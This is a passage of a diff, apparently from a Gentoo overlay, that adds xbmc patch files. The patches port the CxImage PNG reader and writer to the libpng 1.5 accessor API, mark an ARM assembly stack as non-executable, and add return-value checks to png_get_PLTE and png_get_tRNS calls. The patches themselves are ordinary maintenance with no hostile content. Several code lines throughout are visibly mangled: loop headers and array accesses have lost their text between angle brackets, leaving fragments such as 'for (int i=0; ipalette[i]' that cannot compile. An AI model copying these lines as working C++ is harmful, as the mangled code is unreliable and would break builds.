+513,47 @@ + + if (GetNumColors()){ + if (bGrayScale){ ++#if PNG_LIBPNG_VER > 10399 ++ _color_type = PNG_COLOR_TYPE_GRAY; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_GRAY; ++#endif + } else { ++#if PNG_LIBPNG_VER > 10399 ++ _color_type = PNG_COLOR_TYPE_PALETTE; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_PALETTE; ++#endif + } + } else { ++#if PNG_LIBPNG_VER > 10399 ++ _color_type = PNG_COLOR_TYPE_RGB; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_RGB; ++#endif + } + #if CXIMAGE_SUPPORT_ALPHA + if (AlphaIsValid()){ ++#if PNG_LIBPNG_VER > 10399 ++ _color_type |= PNG_COLOR_MASK_ALPHA; ++ _channels++; ++ _bit_depth = 8; ++ _pixel_depth += 8; ++#else + info_ptr->color_type |= PNG_COLOR_MASK_ALPHA; + info_ptr->channels++; + info_ptr->bit_depth = 8; + info_ptr->pixel_depth += 8; ++#endif + } + #endif + ++#if PNG_LIBPNG_VER > 10399 ++ /* set the header here, since we're done modifying these values */ ++ png_set_IHDR(png_ptr,info_ptr,_width,_height,_bit_depth,_color_type,_interlace_type, ++ _compression_type,_filter_type); ++#endif ++ + /* set background */ + png_color_16 image_background={ 0, 255, 255, 255, 0 }; + RGBQUAD tc = GetTransColor(); +@@ -427,22 +567,24 @@ + /* set metrics */ + png_set_pHYs(png_ptr, info_ptr, head.biXPelsPerMeter, head.biYPelsPerMeter, PNG_RESOLUTION_METER); + ++#if PNG_LIBPNG_VER <= 10399 + png_set_IHDR(png_ptr, info_ptr, info_ptr->width, info_ptr->height, info_ptr->bit_depth, + info_ptr->color_type, info_ptr->interlace_type, + PNG_COMPRESSION_TYPE_BASE, PNG_FILTER_TYPE_BASE); ++#endif + + // simple transparency + if (info.nBkgndIndex >= 0){ +- info_ptr->num_trans = 1; +- info_ptr->valid |= PNG_INFO_tRNS; + #if PNG_LIBPNG_VER > 10399 +- info_ptr->trans_alpha = trans; +- info_ptr->trans_color.index = (BYTE)info.nBkgndIndex; +- info_ptr->trans_color.red = tc.rgbRed; +- info_ptr->trans_color.green = tc.rgbGreen; +- info_ptr->trans_color.blue = tc.rgbBlue; +- info_ptr->trans_color.gray = info_ptr->trans_color.index; ++ png_color_16 _trans_color; ++ _trans_color.index = (BYTE)info.nBkgndIndex; ++ _trans_color.red = tc.rgbRed; ++ _trans_color.green = tc.rgbGreen; ++ _trans_color.blue = tc.rgbBlue; ++ _trans_color.gray = _trans_color.index; + #else ++ info_ptr->num_trans = 1; ++ info_ptr->valid |= PNG_INFO_tRNS; + info_ptr->trans = trans; + info_ptr->trans_values.index = (BYTE)info.nBkgndIndex; + info_ptr->trans_values.red = tc.rgbRed; +@@ -454,34 +596,53 @@ + // the transparency indexes start from 0 for non grayscale palette + if (!bGrayScale && head.biClrUsed && info.nBkgndIndex) + SwapIndex(0,(BYTE)info.nBkgndIndex); ++ ++#if PNG_LIBPNG_VER > 10399 ++ png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,1,&_trans_color); ++#endif + } + + /* set the palette if there is one */ ++#if PNG_LIBPNG_VER > 10399 ++ png_colorp _palette; ++#endif + if (GetPalette()){ ++#if PNG_LIBPNG_VER <= 10399 + if (!bGrayScale){ + info_ptr->valid |= PNG_INFO_PLTE; + } ++#endif + + int nc = GetClrImportant(); + if (nc==0) nc = GetNumColors(); + ++ // copy the palette colors ++#if PNG_LIBPNG_VER > 10399 ++ _palette = new png_color[nc]; ++#else ++ info_ptr->palette = new png_color[nc]; ++ info_ptr->num_palette = (png_uint_16) nc; ++#endif ++ for (int i=0; i 10399 ++ GetPaletteColor(i, &_palette[i].red, &_palette[i].green, &_palette[i].blue); ++ ++ png_set_PLTE(png_ptr,info_ptr,_palette,nc); ++#else ++ GetPaletteColor(i, &info_ptr->palette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue); ++#endif ++ + if (info.bAlphaPaletteEnabled){ + for(WORD ip=0; ipnum_trans = (WORD)nc; +- info_ptr->valid |= PNG_INFO_tRNS; + #if PNG_LIBPNG_VER > 10399 +- info_ptr->trans_alpha = trans; ++ png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,nc,NULL); + #else ++ info_ptr->num_trans = (WORD)nc; ++ info_ptr->valid |= PNG_INFO_tRNS; + info_ptr->trans = trans; + #endif + } +- +- // copy the palette colors +- info_ptr->palette = new png_color[nc]; +- info_ptr->num_palette = (png_uint_16) nc; +- for (int i=0; ipalette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue); + } + + #if CXIMAGE_SUPPORT_ALPHA // +@@ -495,8 +656,12 @@ + } } } + #endif // CXIMAGE_SUPPORT_ALPHA // + ++#if PNG_LIBPNG_VER > 10399 ++ int row_size = max(info.dwEffWidth, (_width * _channels * _bit_depth / 8)); ++#else + int row_size = max(info.dwEffWidth, info_ptr->width*info_ptr->channels*(info_ptr->bit_depth/8)); + info_ptr->rowbytes = row_size; ++#endif + BYTE *row_pointers = new BYTE[row_size]; + + /* write the file information */ +@@ -514,7 +679,11 @@ + if (AlphaIsValid()){ + for (long ax=head.biWidth-1; ax>=0;ax--){ + c = BlindGetPixelColor(ax,ay); ++#if PNG_LIBPNG_VER > 10399 ++ int px = ax * _channels; ++#else + int px = ax * info_ptr->channels; ++#endif + if (!bGrayScale){ + row_pointers[px++]=c.rgbRed; + row_pointers[px++]=c.rgbGreen; +@@ -529,7 +698,11 @@ + #endif //CXIMAGE_SUPPORT_ALPHA // + { + iter.GetRow(row_pointers, row_size); ++#if PNG_LIBPNG_VER > 10399 ++ if (_color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP ++#else + if (info_ptr->color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP ++#endif + RGBtoBGR(row_pointers, row_size); + png_write_row(png_ptr, row_pointers); + } +@@ -546,9 +719,14 @@ + png_write_end(png_ptr, info_ptr); + + /* if you malloced the palette, free it here */ ++#if PNG_LIBPNG_VER > 10399 ++ if (_palette){ ++ delete [] (_palette); ++#else + if (info_ptr->palette){ + delete [] (info_ptr->palette); + info_ptr->palette = NULL; ++#endif + } + + /* clean up after the write, and free any memory allocated */ diff --git a/media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch b/media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch new file mode 100644 index 00000000..18c589a1 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-11.0-libpng-1.5.patch @@ -0,0 +1,605 @@ +fix building with newer libpng. patch by Ian Stakenvicius. + +https://bugs.gentoo.org/380127 + +--- a/lib/cximage-6.0/CxImage/ximapng.cpp ++++ b/lib/cximage-6.0/CxImage/ximapng.cpp +@@ -15,7 +15,11 @@ + void CxImagePNG::ima_png_error(png_struct *png_ptr, char *message) + { + strcpy(info.szLastError,message); ++#if PNG_LIBPNG_VER > 10499 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + //////////////////////////////////////////////////////////////////////////////// + #if CXIMAGE_SUPPORT_DECODE +@@ -62,7 +66,11 @@ bool CxImagePNG::Decode(CxFile *hFile) + /* Set error handling if you are using the setjmp/longjmp method (this is + * the normal method of doing things with libpng). REQUIRED unless you + * set up your own error handlers in the png_create_read_struct() earlier. */ ++#if PNG_LIBPNG_VER > 10499 ++ if (setjmp(png_jmpbuf(png_ptr))) { ++#else + if (setjmp(png_ptr->jmpbuf)) { ++#endif + /* Free all of the memory associated with the png_ptr and info_ptr */ + delete [] row_pointers; + png_destroy_read_struct(&png_ptr, &info_ptr, (png_infopp)NULL); +@@ -76,16 +84,34 @@ bool CxImagePNG::Decode(CxFile *hFile) + /* read the file information */ + png_read_info(png_ptr, info_ptr); + ++#if PNG_LIBPNG_VER > 10499 ++ png_uint_32 _width,_height; ++ int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type; ++ png_get_IHDR(png_ptr,info_ptr,&_width,&_height,&_bit_depth,&_color_type, ++ &_interlace_type,&_compression_type,&_filter_type); ++ ++ if (info.nEscape == -1){ ++ head.biWidth = _width; ++ head.biHeight= _height; ++ info.dwType = CXIMAGE_FORMAT_PNG; ++ longjmp(png_jmpbuf(png_ptr), 1); ++ } ++#else + if (info.nEscape == -1){ + head.biWidth = info_ptr->width; + head.biHeight= info_ptr->height; + info.dwType = CXIMAGE_FORMAT_PNG; + longjmp(png_ptr->jmpbuf, 1); + } ++#endif + + /* calculate new number of channels */ + int channels=0; ++#if PNG_LIBPNG_VER > 10499 ++ switch(_color_type){ ++#else + switch(info_ptr->color_type){ ++#endif + case PNG_COLOR_TYPE_GRAY: + case PNG_COLOR_TYPE_PALETTE: + channels = 1; +@@ -101,20 +127,49 @@ bool CxImagePNG::Decode(CxFile *hFile) + break; + default: + strcpy(info.szLastError,"unknown PNG color type"); ++#if PNG_LIBPNG_VER > 10499 ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + //find the right pixel depth used for cximage ++#if PNG_LIBPNG_VER > 10499 ++ int pixel_depth = _bit_depth * png_get_channels(png_ptr,info_ptr); ++#else + int pixel_depth = info_ptr->pixel_depth; ++#endif + if (channels == 1 && pixel_depth>8) pixel_depth=8; + if (channels == 2) pixel_depth=8; + if (channels >= 3) pixel_depth=24; + ++#if PNG_LIBPNG_VER > 10499 ++ if (!Create(_width, _height, pixel_depth, CXIMAGE_FORMAT_PNG)){ ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + if (!Create(info_ptr->width, info_ptr->height, pixel_depth, CXIMAGE_FORMAT_PNG)){ + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + + /* get metrics */ ++#if PNG_LIBPNG_VER > 10499 ++ png_uint_32 _x_pixels_per_unit,_y_pixels_per_unit; ++ int _phys_unit_type; ++ png_get_pHYs(png_ptr,info_ptr,&_x_pixels_per_unit,&_y_pixels_per_unit,&_phys_unit_type); ++ switch (_phys_unit_type) ++ { ++ case PNG_RESOLUTION_UNKNOWN: ++ SetXDPI(_x_pixels_per_unit); ++ SetYDPI(_y_pixels_per_unit); ++ break; ++ case PNG_RESOLUTION_METER: ++ SetXDPI((long)floor(_x_pixels_per_unit * 254.0 / 10000.0 + 0.5)); ++ SetYDPI((long)floor(_y_pixels_per_unit * 254.0 / 10000.0 + 0.5)); ++ break; ++ } ++#else + switch (info_ptr->phys_unit_type) + { + case PNG_RESOLUTION_UNKNOWN: +@@ -126,46 +181,94 @@ bool CxImagePNG::Decode(CxFile *hFile) + SetYDPI((long)floor(info_ptr->y_pixels_per_unit * 254.0 / 10000.0 + 0.5)); + break; + } ++#endif + ++#if PNG_LIBPNG_VER > 10499 ++ int _num_palette; ++ png_colorp _palette; ++ png_uint_32 _palette_ret; ++ _palette_ret = png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++ if (_palette_ret && _num_palette>0){ ++ SetPalette((rgb_color*)_palette,_num_palette); ++ SetClrImportant(_num_palette); ++ } else if (_bit_depth ==2) { // needed for 2 bpp grayscale PNGs ++#else + if (info_ptr->num_palette>0){ + SetPalette((rgb_color*)info_ptr->palette,info_ptr->num_palette); + SetClrImportant(info_ptr->num_palette); + } else if (info_ptr->bit_depth ==2) { // needed for 2 bpp grayscale PNGs ++#endif + SetPaletteColor(0,0,0,0); + SetPaletteColor(1,85,85,85); + SetPaletteColor(2,170,170,170); + SetPaletteColor(3,255,255,255); + } else SetGrayPalette(); // needed for grayscale PNGs + ++#if PNG_LIBPNG_VER > 10499 ++ int nshift = max(0,(_bit_depth>>3)-1)<<3; ++#else + int nshift = max(0,(info_ptr->bit_depth>>3)-1)<<3; ++#endif + ++#if PNG_LIBPNG_VER > 10499 ++ png_bytep _trans_alpha; ++ int _num_trans; ++ png_color_16p _trans_color; ++ png_uint_32 _trans_ret; ++ _trans_ret = png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++ if (_trans_ret && _num_trans!=0){ //palette transparency ++ if (_num_trans==1){ ++ if (_color_type == PNG_COLOR_TYPE_PALETTE){ ++#else + if (info_ptr->num_trans!=0){ //palette transparency + if (info_ptr->num_trans==1){ + if (info_ptr->color_type == PNG_COLOR_TYPE_PALETTE){ ++#endif ++#if PNG_LIBPNG_VER > 10499 ++ info.nBkgndIndex = _trans_color->index; ++#else + #if PNG_LIBPNG_VER > 10399 + info.nBkgndIndex = info_ptr->trans_color.index; + #else + info.nBkgndIndex = info_ptr->trans_values.index; + #endif ++#endif + } else{ ++#if PNG_LIBPNG_VER > 10499 ++ info.nBkgndIndex = _trans_color->gray>>nshift; ++#else + #if PNG_LIBPNG_VER > 10399 + info.nBkgndIndex = info_ptr->trans_color.gray>>nshift; + #else + info.nBkgndIndex = info_ptr->trans_values.gray>>nshift; + #endif ++#endif + } + } ++#if PNG_LIBPNG_VER > 10499 ++ if (_num_trans>1 && _trans_alpha!=NULL){ ++#else + if (info_ptr->num_trans>1){ ++#endif + RGBQUAD* pal=GetPalette(); + if (pal){ + DWORD ip; ++#if PNG_LIBPNG_VER > 10499 ++ for (ip=0;ipnum_trans);ip++) + #if PNG_LIBPNG_VER > 10399 + pal[ip].rgbReserved=info_ptr->trans_alpha[ip]; + #else + pal[ip].rgbReserved=info_ptr->trans[ip]; + #endif ++#endif ++#if PNG_LIBPNG_VER > 10499 ++ for (ip=_num_trans;ipnum_trans;ip 10499 ++ info.nBkgndColor.rgbRed = (BYTE)(_trans_color->red>>nshift); ++ info.nBkgndColor.rgbGreen = (BYTE)(_trans_color->green>>nshift); ++ info.nBkgndColor.rgbBlue = (BYTE)(_trans_color->blue>>nshift); ++#else + #if PNG_LIBPNG_VER > 10399 + info.nBkgndColor.rgbRed = (BYTE)(info_ptr->trans_color.red>>nshift); + info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_color.green>>nshift); +@@ -187,6 +295,7 @@ bool CxImagePNG::Decode(CxFile *hFile) + info.nBkgndColor.rgbGreen = (BYTE)(info_ptr->trans_values.green>>nshift); + info.nBkgndColor.rgbBlue = (BYTE)(info_ptr->trans_values.blue>>nshift); + #endif ++#endif + info.nBkgndColor.rgbReserved = 0; + info.nBkgndIndex = 0; + } +@@ -202,15 +311,27 @@ bool CxImagePNG::Decode(CxFile *hFile) + } + + // - flip the RGB pixels to BGR (or RGBA to BGRA) ++#if PNG_LIBPNG_VER > 10499 ++ if (_color_type & PNG_COLOR_MASK_COLOR){ ++#else + if (info_ptr->color_type & PNG_COLOR_MASK_COLOR){ ++#endif + png_set_bgr(png_ptr); + } + + // - handle cancel ++#if PNG_LIBPNG_VER > 10499 ++ if (info.nEscape) longjmp(png_jmpbuf(png_ptr), 1); ++#else + if (info.nEscape) longjmp(png_ptr->jmpbuf, 1); ++#endif + + // row_bytes is the width x number of channels x (bit-depth / 8) ++#if PNG_LIBPNG_VER > 10499 ++ row_pointers = new BYTE[png_get_rowbytes(png_ptr,info_ptr) + 8]; ++#else + row_pointers = new BYTE[info_ptr->rowbytes + 8]; ++#endif + + // turn on interlace handling + int number_passes = png_set_interlace_handling(png_ptr); +@@ -221,8 +342,16 @@ bool CxImagePNG::Decode(CxFile *hFile) + SetCodecOption(0); + } + ++#if PNG_LIBPNG_VER > 10499 ++ int chan_offset = _bit_depth >> 3; ++#else + int chan_offset = info_ptr->bit_depth >> 3; ++#endif ++#if PNG_LIBPNG_VER > 10499 ++ int pixel_offset = (_bit_depth * png_get_channels(png_ptr,info_ptr)) >> 3; ++#else + int pixel_offset = info_ptr->pixel_depth >> 3; ++#endif + + for (int pass=0; pass < number_passes; pass++) { + iter.Upset(); +@@ -230,7 +359,11 @@ bool CxImagePNG::Decode(CxFile *hFile) + do { + + // - handle cancel ++#if PNG_LIBPNG_VER > 10499 ++ if (info.nEscape) longjmp(png_jmpbuf(png_ptr), 1); ++#else + if (info.nEscape) longjmp(png_ptr->jmpbuf, 1); ++#endif + + #if CXIMAGE_SUPPORT_ALPHA // + if (AlphaIsValid()) { +@@ -241,7 +374,11 @@ bool CxImagePNG::Decode(CxFile *hFile) + BYTE* prow= iter.GetRow(ay); + + //recover data from previous scan ++#if PNG_LIBPNG_VER > 10499 ++ if (_interlace_type && pass>0 && pass!=7){ ++#else + if (info_ptr->interlace_type && pass>0 && pass!=7){ ++#endif + for(ax=0;ax 10499 ++ if (_interlace_type && pass>0){ ++ iter.GetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr)); ++ //re-expand buffer for images with bit depth > 8 ++ if (_bit_depth > 8){ ++#else + if (info_ptr->interlace_type && pass>0){ + iter.GetRow(row_pointers, info_ptr->rowbytes); + //re-expand buffer for images with bit depth > 8 + if (info_ptr->bit_depth > 8){ ++#endif + for(long ax=(head.biWidth*channels-1);ax>=0;ax--) + row_pointers[ax*chan_offset] = row_pointers[ax]; + } +@@ -291,15 +435,27 @@ bool CxImagePNG::Decode(CxFile *hFile) + png_read_row(png_ptr, row_pointers, NULL); + + //shrink 16 bit depth images down to 8 bits ++#if PNG_LIBPNG_VER > 10499 ++ if (_bit_depth > 8){ ++#else + if (info_ptr->bit_depth > 8){ ++#endif + for(long ax=0;ax<(head.biWidth*channels);ax++) + row_pointers[ax] = row_pointers[ax*chan_offset]; + } + + //copy the pixels ++#if PNG_LIBPNG_VER > 10499 ++ iter.SetRow(row_pointers, png_get_rowbytes(png_ptr,info_ptr)); ++#else + iter.SetRow(row_pointers, info_ptr->rowbytes); ++#endif + // expand 2 bpp images only in the last pass ++#if PNG_LIBPNG_VER > 10499 ++ if (_bit_depth==2 && pass==(number_passes-1)) ++#else + if (info_ptr->bit_depth==2 && pass==(number_passes-1)) ++#endif + expand2to4bpp(iter.GetRow()); + + //go on +@@ -361,9 +517,13 @@ bool CxImagePNG::Encode(CxFile *hFile) + /* Set error handling. REQUIRED if you aren't supplying your own + * error hadnling functions in the png_create_write_struct() call. + */ ++#if PNG_LIBPNG_VER > 10499 ++ if (setjmp(png_jmpbuf(png_ptr))){ ++#else + if (setjmp(png_ptr->jmpbuf)){ + /* If we get here, we had a problem reading the file */ + if (info_ptr->palette) free(info_ptr->palette); ++#endif + png_destroy_write_struct(&png_ptr, (png_infopp)&info_ptr); + cx_throw("Error saving PNG file"); + } +@@ -372,9 +532,23 @@ bool CxImagePNG::Encode(CxFile *hFile) + //png_init_io(png_ptr, hFile); + + // use custom I/O functions +- png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data); ++ png_set_write_fn(png_ptr,hFile,/*(png_rw_ptr)*/user_write_data,/*(png_flush_ptr)*/user_flush_data); + + /* set the file information here */ ++#if PNG_LIBPNG_VER > 10499 ++ /* use variables to hold the values so it isnt necessary to png_get them later */ ++ png_uint_32 _width,_height; ++ int _bit_depth,_color_type,_interlace_type,_compression_type,_filter_type; ++ png_byte _channels,_pixel_depth; ++ ++ _width = GetWidth(); ++ _height = GetHeight(); ++ _pixel_depth = (BYTE)GetBpp(); ++ _channels = (GetBpp()>8) ? (BYTE)3: (BYTE)1; ++ _bit_depth = (BYTE)(GetBpp()/_channels); ++ _compression_type = PNG_COMPRESSION_TYPE_DEFAULT; ++ _filter_type = PNG_FILTER_TYPE_DEFAULT; ++#else + info_ptr->width = GetWidth(); + info_ptr->height = GetHeight(); + info_ptr->pixel_depth = (BYTE)GetBpp(); +@@ -382,13 +556,22 @@ bool CxImagePNG::Encode(CxFile *hFile) + info_ptr->bit_depth = (BYTE)(GetBpp()/info_ptr->channels); + info_ptr->compression_type = info_ptr->filter_type = 0; + info_ptr->valid = 0; ++#endif + + switch(GetCodecOption(CXIMAGE_FORMAT_PNG)){ + case 1: ++#if PNG_LIBPNG_VER > 10499 ++ _interlace_type = PNG_INTERLACE_ADAM7; ++#else + info_ptr->interlace_type = PNG_INTERLACE_ADAM7; ++#endif + break; + default: ++#if PNG_LIBPNG_VER > 10499 ++ _interlace_type = PNG_INTERLACE_NONE; ++#else + info_ptr->interlace_type = PNG_INTERLACE_NONE; ++#endif + } + + /* set compression level */ +@@ -398,19 +581,38 @@ bool CxImagePNG::Encode(CxFile *hFile) + + if (GetNumColors()){ + if (bGrayScale){ ++#if PNG_LIBPNG_VER > 10499 ++ _color_type = PNG_COLOR_TYPE_GRAY; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_GRAY; ++#endif + } else { ++#if PNG_LIBPNG_VER > 10499 ++ _color_type = PNG_COLOR_TYPE_PALETTE; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_PALETTE; ++#endif + } + } else { ++#if PNG_LIBPNG_VER > 10499 ++ _color_type = PNG_COLOR_TYPE_RGB; ++#else + info_ptr->color_type = PNG_COLOR_TYPE_RGB; ++#endif + } + #if CXIMAGE_SUPPORT_ALPHA + if (AlphaIsValid()){ ++#if PNG_LIBPNG_VER > 10499 ++ _color_type |= PNG_COLOR_MASK_ALPHA; ++ _channels++; ++ _bit_depth = 8; ++ _pixel_depth += 8; ++#else + info_ptr->color_type |= PNG_COLOR_MASK_ALPHA; + info_ptr->channels++; + info_ptr->bit_depth = 8; + info_ptr->pixel_depth += 8; ++#endif + } + #endif + +@@ -427,14 +629,30 @@ bool CxImagePNG::Encode(CxFile *hFile) + /* set metrics */ + png_set_pHYs(png_ptr, info_ptr, head.biXPelsPerMeter, head.biYPelsPerMeter, PNG_RESOLUTION_METER); + ++#if PNG_LIBPNG_VER > 10499 ++ png_set_IHDR(png_ptr,info_ptr,_width,_height,_bit_depth,_color_type,_interlace_type, ++ _compression_type,_filter_type); ++#else + png_set_IHDR(png_ptr, info_ptr, info_ptr->width, info_ptr->height, info_ptr->bit_depth, + info_ptr->color_type, info_ptr->interlace_type, + PNG_COMPRESSION_TYPE_BASE, PNG_FILTER_TYPE_BASE); ++#endif + + // simple transparency + if (info.nBkgndIndex >= 0){ ++#if PNG_LIBPNG_VER <= 10499 + info_ptr->num_trans = 1; + info_ptr->valid |= PNG_INFO_tRNS; ++#endif ++#if PNG_LIBPNG_VER > 10499 ++ png_color_16 _trans_color; ++ _trans_color.index = (BYTE)info.nBkgndIndex; ++ _trans_color.red = tc.rgbRed; ++ _trans_color.green = tc.rgbGreen; ++ _trans_color.blue = tc.rgbBlue; ++ _trans_color.gray = _trans_color.index; ++ png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,1,&_trans_color); ++#else + #if PNG_LIBPNG_VER > 10399 + info_ptr->trans_alpha = trans; + info_ptr->trans_color.index = (BYTE)info.nBkgndIndex; +@@ -450,6 +668,7 @@ bool CxImagePNG::Encode(CxFile *hFile) + info_ptr->trans_values.blue = tc.rgbBlue; + info_ptr->trans_values.gray = info_ptr->trans_values.index; + #endif ++#endif + + // the transparency indexes start from 0 for non grayscale palette + if (!bGrayScale && head.biClrUsed && info.nBkgndIndex) +@@ -457,10 +676,16 @@ bool CxImagePNG::Encode(CxFile *hFile) + } + + /* set the palette if there is one */ ++#if PNG_LIBPNG_VER > 10499 ++ png_colorp _palette = NULL; ++ if (GetPalette()){ ++ /* png_set_PLTE() will be called once the palette is ready */ ++#else + if (GetPalette()){ + if (!bGrayScale){ + info_ptr->valid |= PNG_INFO_PLTE; + } ++#endif + + int nc = GetClrImportant(); + if (nc==0) nc = GetNumColors(); +@@ -468,20 +693,34 @@ bool CxImagePNG::Encode(CxFile *hFile) + if (info.bAlphaPaletteEnabled){ + for(WORD ip=0; ipnum_trans = (WORD)nc; + info_ptr->valid |= PNG_INFO_tRNS; ++#endif ++#if PNG_LIBPNG_VER > 10499 ++ png_set_tRNS(png_ptr,info_ptr,(png_bytep)trans,nc,NULL); ++#else + #if PNG_LIBPNG_VER > 10399 + info_ptr->trans_alpha = trans; + #else + info_ptr->trans = trans; + #endif ++#endif + } + + // copy the palette colors ++#if PNG_LIBPNG_VER > 10499 ++ _palette = new png_color[nc]; ++ for (int i=0; ipalette = new png_color[nc]; + info_ptr->num_palette = (png_uint_16) nc; + for (int i=0; ipalette[i].red, &info_ptr->palette[i].green, &info_ptr->palette[i].blue); ++#endif + } + + #if CXIMAGE_SUPPORT_ALPHA // +@@ -495,8 +734,12 @@ bool CxImagePNG::Encode(CxFile *hFile) + } } } + #endif // CXIMAGE_SUPPORT_ALPHA // + ++#if PNG_LIBPNG_VER > 10499 ++ int row_size = max(info.dwEffWidth, (_width * _channels * _bit_depth / 8)); ++#else + int row_size = max(info.dwEffWidth, info_ptr->width*info_ptr->channels*(info_ptr->bit_depth/8)); + info_ptr->rowbytes = row_size; ++#endif + BYTE *row_pointers = new BYTE[row_size]; + + /* write the file information */ +@@ -514,7 +757,11 @@ bool CxImagePNG::Encode(CxFile *hFile) + if (AlphaIsValid()){ + for (long ax=head.biWidth-1; ax>=0;ax--){ + c = BlindGetPixelColor(ax,ay); ++#if PNG_LIBPNG_VER > 10499 ++ int px = ax * _channels; ++#else + int px = ax * info_ptr->channels; ++#endif + if (!bGrayScale){ + row_pointers[px++]=c.rgbRed; + row_pointers[px++]=c.rgbGreen; +@@ -529,7 +776,11 @@ bool CxImagePNG::Encode(CxFile *hFile) + #endif //CXIMAGE_SUPPORT_ALPHA // + { + iter.GetRow(row_pointers, row_size); ++#if PNG_LIBPNG_VER > 10499 ++ if (_color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP ++#else + if (info_ptr->color_type == PNG_COLOR_TYPE_RGB) //HACK BY OP ++#endif + RGBtoBGR(row_pointers, row_size); + png_write_row(png_ptr, row_pointers); + } +@@ -546,9 +797,14 @@ bool CxImagePNG::Encode(CxFile *hFile) + png_write_end(png_ptr, info_ptr); + + /* if you malloced the palette, free it here */ ++#if PNG_LIBPNG_VER > 10499 ++ if (_palette){ ++ delete [] (_palette); ++#else + if (info_ptr->palette){ + delete [] (info_ptr->palette); + info_ptr->palette = NULL; ++#endif + } + + /* clean up after the write, and free any memory allocated */ +--- a/lib/cximage-6.0/CxImage/ximapng.h ++++ b/lib/cximage-6.0/CxImage/ximapng.h +@@ -69,8 +69,13 @@ class CxImagePNG: public CxImage + + static void PNGAPI user_error_fn(png_structp png_ptr,png_const_charp error_msg) + { ++#if PNG_LIBPNG_VER > 10499 ++ strncpy((char*)png_get_error_ptr(png_ptr),error_msg,255); ++ longjmp(png_jmpbuf(png_ptr), 1); ++#else + strncpy((char*)png_ptr->error_ptr,error_msg,255); + longjmp(png_ptr->jmpbuf, 1); ++#endif + } + }; + diff --git a/media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch b/media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch new file mode 100644 index 00000000..35ff747d --- /dev/null +++ b/media-tv/xbmc/files/xbmc-11.0-no-exec-stack.patch @@ -0,0 +1,30 @@ +http://trac.xbmc.org/ticket/12735 + +merged upstream already + +From f0e33eefa4b5d46f26811db2f5e943dcd7f2870e Mon Sep 17 00:00:00 2001 +From: Mike Frysinger +Date: Thu, 1 Mar 2012 00:04:49 -0500 +Subject: [PATCH] mark stack as non-executable + +Signed-off-by: Mike Frysinger +--- + xbmc/utils/fastmemcpy-arm.S | 5 +++++ + 1 files changed, 5 insertions(+), 0 deletions(-) + +diff --git a/xbmc/utils/fastmemcpy-arm.S b/xbmc/utils/fastmemcpy-arm.S +index 0e810a7..3d77c68 100644 +--- a/xbmc/utils/fastmemcpy-arm.S ++++ b/xbmc/utils/fastmemcpy-arm.S +@@ -527,3 +527,8 @@ copy_last_3_and_return: + + #endif /* __ARM_ARCH__ < 7 */ + #endif ++ ++#if defined(__linux__) && defined(__ELF__) ++/* we don't need an executable stack */ ++.section .note.GNU-stack,"",%progbits ++#endif +-- +1.7.8.4 + diff --git a/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch new file mode 100644 index 00000000..7e6ce676 --- /dev/null +++ b/media-tv/xbmc/files/xbmc-11.0_beta1-libpng-1.5-fix-plt-trn-get.patch @@ -0,0 +1,51 @@ + +Update libpng 1.5 patch: check return values of png_get_PLTE() and +png_get_tRNS() before using the values to avoid using uninitialized values. + +--- a/lib/cximage-6.0/CxImage/ximapng.cpp ++++ b/lib/cximage-6.0/CxImage/ximapng.cpp +@@ -178,12 +178,14 @@ bool CxImagePNG::Decode(CxFile *hFile) + int _num_palette; + png_colorp _palette; + #if PNG_LIBPNG_VER > 10399 +- png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++ png_uint_32 _palette_ret; ++ _palette_ret = png_get_PLTE(png_ptr,info_ptr,&_palette,&_num_palette); ++ if (_palette_ret && _num_palette>0){ + #else + _num_palette=info_ptr->num_palette; + _palette=info_ptr->palette; +-#endif + if (_num_palette>0){ ++#endif + SetPalette((rgb_color*)_palette,_num_palette); + SetClrImportant(_num_palette); + } else if (_bit_depth ==2) { // needed for 2 bpp grayscale PNGs +@@ -199,11 +201,13 @@ bool CxImagePNG::Decode(CxFile *hFile) + int _num_trans; + png_color_16p _trans_color; + #if PNG_LIBPNG_VER > 10399 +- png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++ png_uint_32 _trans_ret; ++ _trans_ret = png_get_tRNS(png_ptr,info_ptr,&_trans_alpha,&_num_trans,&_trans_color); ++ if (_trans_ret && _num_trans!=0){ //palette transparency + #else + _num_trans=info_ptr->num_trans; +-#endif + if (_num_trans!=0){ //palette transparency ++#endif + if (_num_trans==1){ + if (_color_type == PNG_COLOR_TYPE_PALETTE){ + #if PNG_LIBPNG_VER > 10399 +@@ -219,7 +223,11 @@ bool CxImagePNG::Decode(CxFile *hFile) + #endif + } + } ++#if PNG_LIBPNG_VER > 10399 ++ if 